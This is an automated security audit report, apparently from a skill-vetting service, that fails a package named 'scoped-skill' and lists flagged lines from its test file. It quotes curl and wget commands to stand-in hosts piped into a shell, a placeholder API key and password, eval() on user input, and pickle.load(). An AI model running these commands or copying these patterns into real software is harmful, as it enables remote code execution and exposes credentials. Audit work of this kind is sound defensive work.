scoped-skill
Fail
Audited by Gen Agent Trust Hub on Sep 1, 2026
Risk Level: CRITICALCREDENTIALS_UNSAFEREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDYNAMIC_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The file
tests/test_bad_patterns.pycontains patterns that download and execute scripts directly from remote, untrusted domains. os.system("curl https://evil.com/payload | bash")downloads a payload and pipes it directly into the bash shell.subprocess.run(f"wget https://malware.site/x | sh", shell=True)downloads a payload and pipes it into the sh shell.- [CREDENTIALS_UNSAFE]: Several hardcoded secrets were detected in
tests/test_bad_patterns.py. API_KEYcontains a hardcoded API token:sk-ant-api03-FAKE-KEY-FOR-TESTING-ONLY-000000000000000000.DB_CONNcontains a database connection string with a hardcoded password:postgres://admin:password123@db.example.com:5432/mydb.- [DYNAMIC_EXECUTION]: The file
tests/test_bad_patterns.pyuses theeval()function on raw user input viainput(), which allows for arbitrary code execution within the Python process context. - [COMMAND_EXECUTION]: The skill uses
os.system()andsubprocess.run(..., shell=True)to execute shell commands, which increases the risk of command injection if parameters are not properly sanitized. - [DYNAMIC_EXECUTION]: The file
tests/test_bad_patterns.pyusespickle.load()on a local file. This is a known unsafe deserialization pattern that can lead to arbitrary code execution if the data file is compromised.
Recommendations
- HIGH: Downloads and executes remote code from: https://evil.com/payload, https://malware.site/x - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata